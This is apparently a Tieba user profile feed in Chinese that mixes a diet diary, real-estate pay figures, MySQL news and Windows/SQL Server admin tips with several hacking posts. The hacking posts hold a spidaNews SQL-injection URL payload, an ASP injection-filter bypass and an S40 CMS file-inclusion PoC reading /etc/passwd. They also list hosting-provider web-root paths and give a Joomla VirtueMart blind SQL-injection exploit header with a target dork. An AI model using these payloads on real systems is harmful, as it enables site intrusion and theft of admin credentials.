石林子的个人资料

180706【日记】[S身材]减肥日记，我也来发一贴。男的不想照了。。身高178cm，减肥之前的体重96KG，目前体重84KG，目标体重75K 按照郑多燕讲的合理体重=178-100*0.9=70.2kg，个人觉得75kg就差不多了。吃饭：早中正常吃饭，晚餐麦片+水果，两项控制在300克左右。不吃大油，油炸，碳酸饮料，甜品。我也研究和看了好多减肥案例，建议三餐都要吃，不然对胃不好。减肥需要一个过程，不是一蹴而就的事情。运动：减肥从4月初开始的，当时体重96KG,差不多减了10kg左右。晚上小红帽有氧运动35分钟左右，拉伸20分钟左右，中午偶尔出去散步40分钟，是散步啊。晚上遛弯1.5小时，散步。偶尔早上跑跑步，有时候没时间。之前晚上10:30必须睡觉。合理休息也是减肥的一种，现在11：30必须睡觉。减肥还在进行中，今天体重84KG,晚上一套小红帽，一套哑铃操。就休息。

今天是2016年元宵节，吃汤圆了没有啊。今天是2016年元宵节，吃汤圆了没有啊。

2013中国房地产行业高薪TOP100分析　　2013中国房地产行业高薪TOP100分析____在当今中国，要说什么行业最赚钱，十个人里有九个人会说是房地产行业和金融行业，那么房地产行业中那些高管们一年下来能拿到多少薪水呢？中国十大知名猎头公司依据上市公司2013年年报统计数据分析，对其高管2013年年薪进行了TOP100排名，这一数据完完整整的体现了2013年房地产行业高管们的薪资待遇，也反映了整个行业的发展状况。　　根据十大猎头公司之一的乾坤猎头公司披露，此次选取了从多到少100 位上市公司高管，数据表明：　　1、进入TOP100的这些高管中以北京、上海及深圳等地为主，年薪在 700万到1一千两百万不等。　　2、长江实业总经理年薪是内地头名房地产公司董事长年薪2倍，房地产猎头公司戏称他背靠大树李嘉诚年薪多。这也从侧面反映出香港房地产行业的成熟。　　3、资深地产猎头猎马说道，TOP100中排名20-30之间的，主要集中在广州、上海、北京、深圳、杭州、南京六座城市，也间接反映出了这6 个城市，是房地产发展最快、房地产高管薪酬最高的城市。　　4、2014年1月至今，中国房地产业迅猛发展；虽然目前2014年上市公司年报尚未公布，但我们预测2014年上市公司高管的年薪将在2013年的基础上提高15%左右，尽管上市公司业绩往往迟一年体现在年报中。　　房地产行业依靠的一是资金，另外一个就是人才，而高管在房地产公司中虽然不多，却影响着一家公司的成败，也正因如此，许多房地产公司都会选择与猎头公司合作，来猎取高管职位，这也是为何猎头公司可以得到准确的数据，进而对各大房地产企业高管2013年年薪进行 TOP100排名。　　那么猎头公司都提供那些服务呢？　　1、提供代为招聘、引进所需人才服务，包括办理大学毕业生的接收事宜（含户口调入—符合政府人才调入政策）。　　2、按照有关政策规定，负责管理人事行政关系、人事档案事宜及相关人事档案材料的收集、鉴别和整理。　　3、按照有关规定，承办专业技术资格的认定和考评申报。　　4、办理派出人员的录用、退工等事宜。　　5、为派出人员发放工资和福利，代扣代缴个人所得税。　　6、代为派出人员办理社会统筹保险，并办理赔付手续。　　7、提供国家人事劳动政策、法规的咨询服务。　　以上内容是首次由房地产猎头公司组织发布，并作出理性的、客观的分析，目的是站在全行业高度去思考，让全社会更加关心房地产行业的人才发展！这种分析是理性的、客观的，分析结果是有益于行业的，下一步，乾坤猎头公司也会在人才成长、培训、流动等各个方面，做出更多的分析，倡导房地产人才的重要性，以实际行动，引导中国房地产行业健康、快速、稳定发展！

昨天断网了。今天还有更没有啊。昨天断网了。今天还有更没有啊。

帖子被和谐了帖子被和谐了

spidaNews V.1.0 注入漏洞及修复(news.php) #proof of concept http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Flocalhost%2FspidaNews%2Fnews.php%3Fid%3D%2527%2F%2A%2A%2F%2Bunion%2B%2F%2A%2A%2Fselect%2F%2A%2A%2F%2B1&urlrefer=0e8c94b6c64635c1f851007a65fb7a63,2,3,version(),user(),6/**/--+ 修复：过滤该页面news.php id参数

ASP绕过防注入的新思路：打碎关键字 <% id=request("id") id=replace(id,"and","") ··· ··· //过滤其它的危险关键字 id=replace(id," ","") id=replace(id,",","") //过滤空格和逗号，这是使用本方法必须的条件 %> 你还有办法注入吗？以打碎关键字“and"为例，咱大可以这样： test.asp?id=127%20&id=an&id=d%201=1 原理很简单，如果你提交test.asp?id=1&id=2&id=3时，asp接受到的结果是：1, 2, 3。注意中间的空格。 php的无效，都特么的直接覆盖了，其它的没测试。本文所设计的使用条件比较苛刻，需要过滤逗号和空格，但我估计存在这种问题的站点依然不少也可以这样写 http;//http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fwww.heimian.com%2F1.asp%3Fid%3D1&urlrefer=76f5d742f1f4835375e453f0c53c07bf http;//http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fwww.heimian.com%2F1.asp%3Fid%3D&urlrefer=829e84f6b17b98bf36f02b7b135f7516(1)anandd(1=1)

ASP版小工具 - 目录读写检测 http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fwww.d99net.net%2Fdown%2Fwt.rar&urlrefer=c7f964526bf125d13ae173f3cd04aed2

s40 CMS本地包含漏洞 S40 CMS是一套免费的内容管理系统。漏洞文件index.php 在获取变量之前没有正确地过滤通过require（）的PHP函数。 PoC : http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fwww.xxx.com%2F&urlrefer=dc2247b293037d6fd93fcd8fb3dd56a4[cms_path]/?p=[local_file]%00 http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fwww.xxx.com%2F&urlrefer=dc2247b293037d6fd93fcd8fb3dd56a4[cms_path]/?p=/../../../../../../../etc/passwd%00

常见虚拟主机目录对照 D:\virtualhost\web580651\www\ 新网虚拟主机 F:\usr\fw04408\xpinfo\ 万网虚拟主机 D:\hosting\wwwroot\ Prim@Hosting虚拟主机 e:\wwwroot\longzhihu\wwwroot\ 华众虚拟主机 d:\freehost\zhoudeyang\web\ 星外虚拟主机主机 D:\vhostroot\LocalUser\gdrt\ 星外分支 f:\host\wz8088\web\ 星外分支 D:\Vhost\WebRoot\51dancecn\ 未知 D:\vhostroot\localuser\ vhostroot

Joomla! v1.1.7 SQL最新盲注漏洞 #!/usr/bin/python # # Joomla! com_virtuemart <= v1.1.7 Blind SQL Injection Exploit. # Found by: TecR0c & mr_me # Discovery date: 11/2/2011 # Code by: mr_me # Vendor: http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fvirtuemart.net%2F&urlrefer=7bbea3f6bf8f7aa1d607db5e92592aec # Download: http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fvirtuemart.net%2Fdownloads&urlrefer=4def5dc24af5fdc24bedfc9b77652247 # Dork: inurl:"?option=com_virtuemart" > 46 million results # Patch: http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fdev.virtuemart.net%2Fattachments%2F202%2FPatch-VirtueMart-1.1.7a.zip&urlrefer=cf93d243287f87aeae54ebc1ba06ef71 # References: # - http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fwww.stratsec.net%2FResearch%2FAdvisories%2FVirtueMart-SQL-Injection-&urlrefer=a2122a6565c2b36c1505957504a9ddc8(SS-2011-003) # - http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fvirtuemart.net%2Fsecurity-bulletins%2F396-vm-security-bulletin-2011-02-18&urlrefer=e8edef1ff4e08fe2ad9c8282fb332c3f # # "The more you educate yourself the more you understand where things come from the more obvious things become # and you begin to see lies everywhere. You have to know the truth and seek the truth and the truth will set you free." # - zeitgeist addendum # # Description: # ============ # With its fully-featured eCommerce engine, VirtueMart is perfect to sell your Goods online # and drive your Business to new Heights. Despite being Open Source Software it powers large # Online Shops providing the Performance, Usability and Security you expect from professional Software. # # Explantation: # ============= # There is a Blind SQL Injection vulnerability in the "page" variable of the virtuemart component. # Because of the fact that Joomla core filters '<' or '>' characters, we can only use '=' to test for true/false # statements. This of course will send an enormous number of queries the target. During testing, 9145 # queries were sent to fully steal the admin user/hash. This PoC was tested on the latest version # of virtuemart (1.1.7) at the time of discovery. Depending on your purpose, you may have to adjust the # timings of benchmark and time to last byte (ttlb). # # Tested on Joomla v1.5.22 with virtuemart: # ========== # - v1.1.7 # - v1.1.6 # - v1.1.4 # # [mr_me@pluto com_virtuemart]$ python virtuemart.py -p localhost:8080 -t 192.168.1.7 -d /webapps/joomla/ # # | ------------------------------------------------------------------- | # | Joomla! com_virtuemart <= v1.1.7 Remote Blind SQL Injection Exploit | # | by mr_me - net-ninja.net ------------------------------------------ | # # (+) PoC started on Sat Feb 12 17:26:15 2011 # (+) Exploiting target @: http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2F192.168.1.7%2Fwebapps%2Fjoomla%2F&urlrefer=b2b504b989a9d0d74963474329acd2a4 # (+) Testing proxy @ localhost:8080.. proxy is found to be working! # (+) Using time based SQL Injection. # (+) This will take time, go grab a coffee..

【招聘】it一族吧招小吧。。会员。【诚邀】【欢迎加入我们IT一族团队】本吧地址：http://tieba.baidu.com/f?kw=it%D2%BB%D7%E5

Oracle宣称MySQL 5.5将加强支持Web应用程序 Oracle已经发布了开源的MySQL数据库的5.5版本。随着MySQL 5.5版本的发布，Oracle开始推销这个开源数据库的Web应用程序职能了，而它的Oracle数据库则主要面向企业级的应用程序。 Oracle产品营销部门的高级经理Monica Kumar说：“我们发现对于不同应用场景来说，它们是截然不同。” 在星期三，该公司发布了开源的MySQL数据库的5.5版本，这是Oracle在一月收购Sun Microsystems，获得MySQL以后，第一次升级这个软件。现在Oracle掌控着关系数据库系统的两大应用领域，它必须要明确地区分出，在企业中，哪个产品应该部署到哪里。 Kumar说：“对于基于Web的应用程序，定制的部门级应用程序和嵌入式应用程序来说，MySQL是一个比较适合的数据库。Oracle数据库是企业级数据库领域的佼佼者，主要面向高端的应用程序：企业资源规划，客户关系管理，在线事务处理，大型的数据仓库和商务智能化应用程序。” Kumar说：“这两个产品是彼此互补的关系，适用于不同的应用场景。” Kumar说，这并不是说你不可以在Web应用程序中使用Oracle数据库，但是从历史角度来看，MySQL在Web方面使用的更广泛一些。她提到了MySQL是LAMP(Linux-Apache-MySQL-PHP/Python/Perl)架构的一部分，在部署Web站点或Web应用程序的时候，这是一个被广泛使用的架构。她说：“在基于Web的应用程序领域，它十分成功。” MySQL工程部门的副总裁Tomas Ulin说，在Web领域，选择MySQL而不是Oracle的另外一个考虑是人员。在许多情况下，比起Oracle数据库来，一个LAMP(Linux-Apache-MySQL-PHP/Python/Perl)管理员更熟悉MySQL。他说：“单从真正的开发者都使用MySQL这一点就可以看出，MySQL是更加容易使用的。” 除了常规的Bug修复和一般性的调整以外，这个软件新发布的MySQL 5.5版本还提供了很多有意义的特性和功能。在这些特性和功能中，最重要的是更好的可扩展性和经过改进的复制(replication)功能。在性能方面，这个软件在处理大量的并发连接的时候不再像它过去的版本那样慢到极点了。对于可以一次可以承受1000个连接的Web服务器来说，这是一个令人欢欣鼓舞的改进。当增加大量的服务器核心(超过4个)的时候，这个软件可以获得附加的性能提升，过去的版本是无法做到这一点的。常规的性能也得到了提高。Oracle表示，按照内部的标准，在Linux上，MySQL 5.5的读写速度比5.1版本提升了360%。在Windows Server机器上，这方面性能的提升超过了1500%。Ulin说：“MySQL 5.5版本的吞吐量更高。” 在复制(replication)方面，这个软件现在支持半同步(semi-synchronous)的复制(replication)了。过去的版本只支持异步的复制，这意味着有新的数据录入原始数据库的时候，数据库的备份拷贝不能马上得到更新。 Ulin说：“如果你在主服务器那边提交了一些东西，你无法确定从服务器何时才能获得这些更新。”使用半同步(semi-synchronous)的复制(replication)，在数据拷贝到备份数据库中以前，正在对数据库提交数据的应用程序都不会收到数据已经录入的确认信息。

教你两招玩转windows系统远程桌面教你两招玩转windows系统远程桌面很多网络管理员都使用过windows系统的远程桌面，通过他可以远程控制一台服务器，就好象在本机操作一样。不过很多时候使用远程桌面时却在操作上带来一定的不便。例如服务器上已经用某帐户登录并启动某些服务与应用了，如果在网络中其他计算机通过远程桌面连接该服务器的话，远程桌面程序将不会继续用该帐户登录，而会启用一个新的连接会话。如何解决此问题呢？今天我们就来讨论下如何让远程桌面更加人性化，让我们的远程桌面访问能够共享控制台。解决方法一一般来说我们公司服务器使用的操作系统都是windows 2000 server版或者windows 2003，而这两个版本的远程桌面在使用上和windows XP系统有一个很大的区别，那就是在2000和2003中如果服务器自身已经登录到系统桌面并在上面运行一些服务或应用程序时，如果同时网络中其他计算机通过远程桌面连接进入系统桌面时并不会看到这些启用的服务和应用程序，因为2000和2003系统中的远程桌面连接不会使用当前已登录的进程，取而代之的是使用一个新的进程开启会话连接。这种使用一个新的进程开启会话连接就容易给实际使用带来一定的不方便，例如在服务器上本地登录启动了DOMINO服务邮件系统，那么当需要远程管理时连接上去后无法对其进行设置，在远程桌面上启动DOMINO服务的话，会出现该程序与应用已经启动的提示。另外对于一些系统内置的服务，诸如IIS，FTP服务，如果本机已经启动了，那么使用新的会话连接到远程桌面后将无法进行任何操作和设置。这种非人性化现象还是比较常见的。反观windows XP系统则不存在此问题，因为在windows XP系统中当有其他用户从网络连接到本地计算机时，当前用户会自动注销退出，而通过网络连接远程桌面的用户将看到刚刚注销前用户显示的桌面信息。这样就可以完美解决windows 2000和windows 2003远程桌面出现的非人性化问题了。解决方法二当然我们不可能将自己的系统更改成windows XP系统，毕竟单位服务器需要服务器版操作系统。那么我们如何设置远程桌面让每个远程访问的会话能够共享控制台呢？下面笔者将介绍几个解决方法，当然我们是在windows 2003系统基础上进行讲解的。 1.远程桌面连接控件设置：对于上面提到的多个远程桌面访问不能够共享控制台的问题，我们可以通过设置远程桌面连接组件中的参数解决。第一步：首先通过“开始→控制面板→远程桌面设置”来启动远程桌面设置窗口。第二步：然后在左边的控制台根节点中的“远程桌面”进行设置，添加一个新连接。第三步：在新连接设置窗口中有一个“连接到控制台”的选项，我们在其前打上对勾即可。这样当我们再次通过“远程桌面”连接服务器时将自动连接到“控制台”，这样就可以实现共享当前桌面显示信息的功能。小提示：另外有的时候我们希望限制每个用户使用一个会话，也就是说不管有多少个人通过网络连接服务器，只要他们使用同一个帐号的话，就将共享同一个桌面显示。方法是在“终端服务配置”中的“服务器设置”，将“限制每个用户使用一个会话”设置为“是”即可。 2.连接命令设置：前面介绍的是从根本上彻底解决windows 2000 server和windows 2003非人性化问题，将我们的系统设置为多用户多连接共享一个远程桌面会话。不过大多数情况我们都希望服务器继续保持着这种独享远程桌面会话连接的功能，那么如果想临时登录到服务器的控制台又该如何操作呢？实际上我们可以从连接命令入手解决。第一步：通过任务栏的“开始→运行”。第二步：在运行输入栏中填写“mstsc /console”（不含引号）后回车启动远程桌面程序。第三步：这种添加参数/console命令的方法来启动远程桌面，在连接成功建立后将自动连接目的系统的控制台，也就是上面所说的共享控制台的功能。

SQL2005安装视频

WINDOWS 2003 IIS启动失败的原因新安装了2003 就为了做WEB调试，结果IIS老是出现问题启动不了。错误代码如下：查看了日志，出错表现为以下几点：来源为：3SVC 1、World Wide Web Publishing 服务在请求配置数据库更改通知时遇到问题。数据域包含错误号。 2、初始化 World Wide Web Publishing 服务的配置管理器时出错。数据字段包含错误号。 3、由于错误，World Wide Web Publishing 服务正在退出。数据字段包含错误号。最后出现"World Wide Web Publishing Service 服务因 2147500034 (0x80004002) 服务性错误而停止。重装WINDOWS2003+SP1后启动IIS的时候出现提示"不支持此接口"问题.找了很多地方都没找到相关的说明,最后终于发现以下解决方法：解决方法如下: 需要注册一大批的DLL： C:\WINNT\system32\shell32.dll C:\WINNT\system32\Browseui.dll C:\WINNT\system32\mshtml.dll C:\WINNT\system32\oleaut32.dll C:\WINNT\system32\ole32.dll C:\WINNT\system32\actxprxy.dll C:\WINNT\system32\urlmon.dll C:\WINNT\system32\shdocvw.dll 注册组件的方法例如 regsvr32 shell32.dll 注册以后在DOS下"IISRESET"重新启动IIS，就成功了。真是让人郁闷··········

SQL Server中的一些技巧获取一个SQLServer上的所有数据库信息用存储过程 sp_databases 在查询分析其中执行命令exec sp_databases 结果:master 14464 NULL model 1280 NULL msdb 14336 NULL Northwind 4352 NULL pubs 2560 NULL Store 1912 NULL tempdb 8704 NULL test 1272 NULL 获取一个数据库的所有表用存储过程 sp_tables 执行命令: use Northwind exec sp_tables 结果: Northwind dbo sysusers SYSTEM TABLE NULL Northwind dbo Categories TABLE NULL Northwind dbo CustomerCustomerDemo TABLE NULL Northwind dbo CustomerDemographics TABLE NULL Northwind dbo Customers TABLE NULL Northwind dbo dtproperties TABLE NULL Northwind dbo Employees TABLE NULL Northwind dbo EmployeeTerritories TABLE NULL (.......) 获取一个表的列信息用存储过程sp_columns 运行exec sp_columns 'Orders' (Orders为表名) 结果 Northwind dbo Orders OrderID 4 int identity 10 4 0 10 0 NULL NULL 4 NULL NULL 1 NO 56 Northwind dbo Orders CustomerID -8 nchar 5 10 NULL NULL 1 NULL NULL -8 NULL 10 2 YES 39 Northwind dbo Orders EmployeeID 4 int 10 4 0 10 1 NULL NULL 4 NULL NULL 3 YES 38 Northwind dbo Orders OrderDate 11 datetime 23 16 3 NULL 1 NULL NULL 9 3 NULL 4 YES 111 Northwind dbo Orders RequiredDate 11 datetime 23 16 3 NULL 1 NULL NULL 9 3 NULL 5 YES 111 Northwind dbo Orders ShippedDate 11 datetime 23 16 3 NULL 1 NULL NULL 9 3 NULL 6 YES 111 Northwind dbo Orders ShipVia 4 int 10 4 0 10 1 NULL NULL 4 NULL NULL 7 YES 38 Northwind dbo Orders Freight 3 money 19 21 4 10 1 NULL (0) 3 NULL NULL 8 YES 110

SQLServer2000分布式事务错误解决方法如果在Windows.NETServer上安装的SQLServer2000中运行链接服务器查询，可能会返回下列错误（即使MSDTC正在该服务器上运行）：症状如果在Windows.NETServer上安装的SQLServer2000中运行链接服务器查询，可能会返回下列错误（即使MSDTC正在该服务器上运行）：Server：Msg8501，Level16，State3，Line3 MSDTConserver'servername'isunavailable.在SQLServer错误日志中，您会发现由运行该查询的spid引发的下列错误：ResourceManagerCreationFailed：ResultCode=0x8004d01c原因这是设计使然。如果在"本地系统"帐户下运行"分布式事务处理协调器服务"就会发生此错误。解决方案最近为了提高RPC安全性对DTC所做的更改要求MSDTC作为"NTAuthority\NetworkService"运行。这是。NETServer的默认选项。在WindowsNT和Windows2000中，默认情况下MSDTC服务是在"本地系统"帐户下运行的。警告："注册表编辑器"使用不当可造成严重问题，这些问题可能需要重新安装操作系统。Microsoft不保证能够解决因为"注册表编辑器"使用不当而产生的问题。使用"注册表编辑器"需要您自担风险。若要将MSDTC服务帐户从"本地系统"更改为"NTAuthority\NetworkService"，请执行下列步骤：1.运行regedt32，浏览至HKEY_LOCAL_MACHINE\Software\Microsoft\MSDTC.添加一个DWORD值TurnOffRpcSecurity，值数据为1.2.打开命令提示，运行"netstopmsdtc"，然后运行"netstartmsdtc".3.转至"组件服务管理工具". a.浏览至"启动管理工具". b.选择"组件服务". c.展开"组件服务"树，然后展开"我的电脑". d.右键单击"我的电脑"，然后选择"属性". e.在MSDTC选项卡中，确保选中了下列选项：网络DTC访问网络管理网络事务XA事务另外，"DTC登录帐户"一定要设置为"NTAuthority\NetworkService". f.单击"确定".这样将会提示您"MSDTC将会停止并重新启动。所有的依赖服务将被停止。请按'是'继续".单击"是"继续。 g.单击"确定"关闭"我的电脑"属性窗口。 4.再次运行regedt32，浏览至HKEY_LOCAL_MACHINE\Software\Microsoft\MSDTC，然后删除TurnOffRpcSecurity项。现在您的MSDTC服务应该在"NTAuthority\NetworkService"帐户下运行了，并且不会再出现该错误。更多信息当"MSDTC安全性"配置下的"网络DTC访问"禁用时，如果运行链接服务器查询则会返回下列错误：Server：Msg7391，Level16，State1，Line2TheoperationcouldnotbeperformedbecausetheOLEDBprovider'SQLOLEDB' wasunabletobeginadistributedtransaction.[OLE/DBproviderreturnedmessage：Newtransactioncannotenlistinthespecifiedtransactioncoordinator.] 跟踪标记7300打开时：Server：Msg7391，Level16，State1，Line2TheoperationcouldnotbeperformedbecausetheOLEDBprovider'SQLOLEDB' wasunabletobeginadistributedtransaction.[OLE/DBproviderreturnedmessage：Newtransactioncannotenlistinthespecifiedtransactioncoordinator.]OLEDBerrortrace[OLE/DBProvider'SQLOLEDB'ITransactionJoin：：JoinTransactionreturned0x8004d00a]. MSDTC服务一定要按照上面"解决方案"一节中的说明进行设置，才能防止此错误。再现现象的步骤 1.转至"启动管理工具服务". 2.右键单击"分布式事务处理协调器"服务，转至"登录"选项卡，选择"登录身份"下的"本地系统"帐户。 3.停止然后重新启动该服务。 4.从查询分析器，运行下列脚本：execsp_addlinkedserverremote1execsp_setnetnameremote1，<remoteservername>goexecremote1.pubs.dbo.sp_executesqlN'createtablet（c1int）'gosetxact_abortongobegintraninsertintoremote1.pubs.dbo.tvalues（1）committrango

Windows Server服务器日常管理技巧高效管理服务器一直离不开有效的服务器管理技巧，尽管你已经掌握了不少这方面的技巧，但服务器还有许许多多的技巧在等着你的总结，等着你的挖掘;这不，下面的一些服务器管理窍门就是笔者在最近的工作中总结出来的，相信有不少是你很少遇到过的! 拒绝服务器重新启动一般情况下，在Windows 2003 Server系统中安装完补丁程序后，系统总会提示你要重新启动一下服务器。可是许多急性子的朋友，他们往往无法容忍Windows 2003 Server服务器“慢吞吞”的启动操作，于是希望打完安全补丁之后服务器不再重新启动的想法就应运而生了。那么是不是有一种合适的方法，的确能让Windows 2003 Server服务器在安装完补丁之后不会重新启动呢？其实，Windows 2003 Server服务器是否会重新启动，跟当前的系统补丁特性有一定的关系;对于那些强制需要系统启动的安全补丁，我们一般是无法让服务器拒绝重新启动的;但对于那些没有强制要求系统启动特性的补丁来说，我们就能采取如下的方法来阻止服务器系统重新启动：首先在Windows 2003 Server服务器系统桌面中，依次单击“开始”/“运行”命令，在随后打开的系统运行对话框中，输入字符串命令“cmd”，单击“确定”按钮之后，将系统工作模式切换到MS-DOS状态下; 其次在DOS命令行中，通过“cd”命令将当前目录切换到补丁程序所在的目录，然后执行“aaa /?”字符串命令(其中aaa就是当前需要安装的系统补丁名称)，在其后出现的提示界面中，检查一下当前补丁是否带有“-z”参数，要是带有该参数的话，就表明当前补丁在安装完毕后可以不强制要求系统进行重新启动; 接着在DOS命令行中，再输入字符串命令“aaa -z”，单击回车键后，该补丁程序就会自动安装到系统中，并且不会要求服务器系统进行重新启动了。取消对服务器的限制访问为了提高员工的工作效率，单位最近打算把Windows 2003终端服务器的访问权限向每一个员工进行开放，但考虑到安全性，网络管理人员仅为所有员工提供了相同的一个帐号来登录Windows 2003终端服务器。可是员工们在用该帐号登录终端服务器时，发现同一时间内服务器只能允许一个人登录进服务器，而且后来的员工一登录进服务器后，前一个员工就会“被迫”退出终端服务器的登录。出现这种现象到底是怎么回事呢，那有没有办法让所有员工在同一时间内，使用同一帐号都能顺利登录进行服务器呢? 其实上述这种现象，主要是由于Windows 2003终端服务器在默认状态下，启用了“限制每一个用户只能使用一个会话”功能造成的;要想消除这种现象，你只要按照如下步骤，来取消“限制每一个用户只能使用一个会话”功能就可以了: 首先单击Windows 2003终端服务器系统桌面中的“开始”菜单，并依次执行其中的“设置”/“控制面板”命令，然后双击其中的“管理工具”图标，进入到终端服务配置窗口; 接着在该配置窗口中，用鼠标双击一下“服务器设置”处的“限制每一个用户只能使用一个会话”选项，在其后出现的选项设置对话框中，将“限制每一个用户只能使用一个会话”的复选框取消选中，最后单击“确定”按钮，并重新启动一下服务器系统，这样员工们日后使用相同的帐号，就能同时登录进Windows 2003终端服务器系统中了。远程查看服务器日志文件如果你是一位细心的人，完全可以利用服务器的日志文件，来实现保护服务器安全的目的，毕竟任何对服务器的非法攻击都会在服务器日志文件中留下蛛丝马迹，只要你足够细心，就能知道服务器当前是否受到了攻击，一旦发现有攻击痕迹的话，只要及时采取相应的应对措施就能保证服务器的安全了。不过话又说回来，服务器的日志文件通常只能在服务器本地查看到，可是万一网络管理人员出远门，该如何保证服务器日志文件能被网络管理人员随时远程查看到呢? 要做到这一点，你只要利用Windows 2003服务器的远程维护功能，并通过IE浏览界面，就能对服务器的日志文件进行远程查看了，当然在默认状态下，Windows 2003服务器的远程维护功能并没有开通，需要我们手工启动才可以。下面，就是远程查看服务器日志文件的具体步骤: 首先检查一下Windows 2003服务器是否已经安装了II6.0组件及其相关组件，要是还没有安装的话，必须先要这些组件安装到服务器中去; 其次在服务器系统桌面的“开始”菜单中，依次单击“设置”、“控制面板”命令，在其后出现的窗口中，用鼠标双击一下“添加或删除程序”图标，接着单击其后界面中的“添加/删除Windows组件”按钮，并在弹出的组件安装向导窗口中，把“应用程序服务器”复选项选中，再单击一下对应窗口中的“详细信息”按钮; 随后的设置界面，选中“Internet信息服务(IIS)”复选项，然后继续单击对应窗口中的“详细信息”按钮; 在接着出现的向导设置窗口中，选中“万维网服务”项目，并继续单击一下对应窗口中的“详细信息”按钮，在弹出的向导界面中，再把“远程管理(html)”项目选中;完成上面的设置后，单击“确定”按钮，并把Windows 2003服务器系统的安装光盘放入到光驱中，然后系统会自动完成剩余的安装设置任务; 以后，网络管理人员无论走到哪里，只要能找到一台可以上网的计算机，并通过IE浏览器界面输入“http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Faaa.aaa.aaa.aaa%3A8098%2F&urlrefer=7b6edcee9cc9e5f3579ddd79e30aa086”地址(其中aaa.aaa.aaa.aaa表示Windows 2003服务器的有效IP地址)，在稍后打开的服务器帐号验证界面中，正确输入系统管理员帐号，就能远程登录到服务器的管理维护页面中了，在该页面中网络管理人员就能很方便地查看到服务器中的日志文件了。

给企业无线局域网组建的一些建议无线局域网还是比较常用的，于是我研究了一下无线局域网组建时候的一些问题，在这里拿出来和大家分享一下，希望对大家有用。想必现在大家都知道，市场上现在很流行一种手机窃丅听器的工具。利用这种工具，可以很方便的偷听到别人的电话，就好象电影中的间谍一样。若现在采用了无线局域网的话，也会遇到类似的问题。从此，数据若在无线网络上进行明文传输的话，对于任何用户来说，其只要凭借一些简单的工具，就可以对这些数据进行窃听，以达到不为人知的目的。若在有线网络上，数据明文传输，用户要进行窃听的话，虽然也是比较容易的，但是，至少技术难度上有点高，而且在日后的话，也比较容易进行查询始作俑者。但是，现在采用无线局域网的话，则就相对脆弱的多。除了网络数据的安全性之外，还有就是来自于病毒的威胁。采用无线局域网的话，则病毒不用在依靠网线进行传播，而有了更加广阔的传播通道。这就给病毒的传播创造了条件。前不久，笔者的手机开通了蓝牙功能。不知道怎么回事情，没过多久，就中了蓝牙病毒。怎么杀毒都不行，最后只有格式化才恢复正常。可见，在无线网络下，病毒会更加猖狂，会更加无孔不入。所以，企业要采用无线局域网的话，则在网络安全上，要比有线网络，更加关注。企业为了实现网络的安全，不得不采用更多的网络安全设备，以达到无线局域网正常运行的目的。对于企业组建无线局域网的一些建议： 1. 企业在组建无线网络时，最好不要全部放弃有线网络。而是仍然以有线网络为主，无线局域网为辅助，充分利用有线网络与无线网络的优点，达到扬长避短的目的。如对于一般用户办公的台式电脑，因为其一般不需要移动，在一段相当长的时间内，其位置不会改变。所以，对于他们来说，最好直接使用有线网络。如此话，可以保证他们网络传输的效率、稳定性与安全性。而对于一些移动设备，如经理层的笔记本电脑，等等，这些移动性比较强的设备，采用无线局域网。如此，就可以彼此扬长避短，充分利用两者的优势，实现优势互补。 2. 对于一些特殊的应用，要采用有线网络。如企业的会议室中，最好有有线网络的接口。因为有时候，可能会议室要用到远程的会议系统等特殊的应用。而这些应用对于网络传输的稳定性、网络传输的速度、网络安全性等会有比较高的要求。而这些要求的话，若采用无线局域网的话，可能都无法进行满足。为此，即使在公司内部实现了无线局域网，但是，在会议室这些重要的场所，可能会有一些比较特殊的应用。在这种情况下，我们要注意，一定要备有有线网络的接口，以方便实现这些比较特殊的应用。 3. 在对既有无线网络又有有线网络的企业，为了安全与管理方便，最好采取不同的IP地址管理策略。我们都知道，IP地址管理策略是企业内部局域网管理的最基础性的内容。不光是有线网络，无线局域网也是如此。笔者现在所在企业的无线局域网与有线局域网是并存的，在进行IP地址管理时，对于采用有线网络的电脑，都采取了固定的IP地址，并且，固定的IP地址有一定的范围，通过网络检测器一看，就知道哪些是通过有线网络传输的。同时对于通过无线设备连入企业网络的，采用了一段IP地址，进行自动分配。如此的话，可以保证无线网络连接跟有线网络连接不存在冲突。有效的减少了我们维护的工作量。 4. 在考虑无线局域网时，尽量采用安全加密协议。现在无线网络设备，一般都支持在数据传输过程中的加密协议。通过加密技术的话，可以最大限度的保护数据在传输过程中的安全性。一般的话，可以在无线发射设备上进行设置，进行强制的数据加密手段。如此的话，可以保证从无线设备上发送出去的数据，都是加密过的。这样，即使有员工存在非法窃听，其取得的数据也都是乱码，没有多少的实际利用价值。

烦躁。。过滤词太多了。好多文章都不能发表。。烦躁。。过滤词太多了。好多文章都不能发表。。

群都是企业的网络管理员,这里有我们的一片天. 群号:6098041 群都是企业的网络管理员,这里有我们的一片天. 群号:6098041

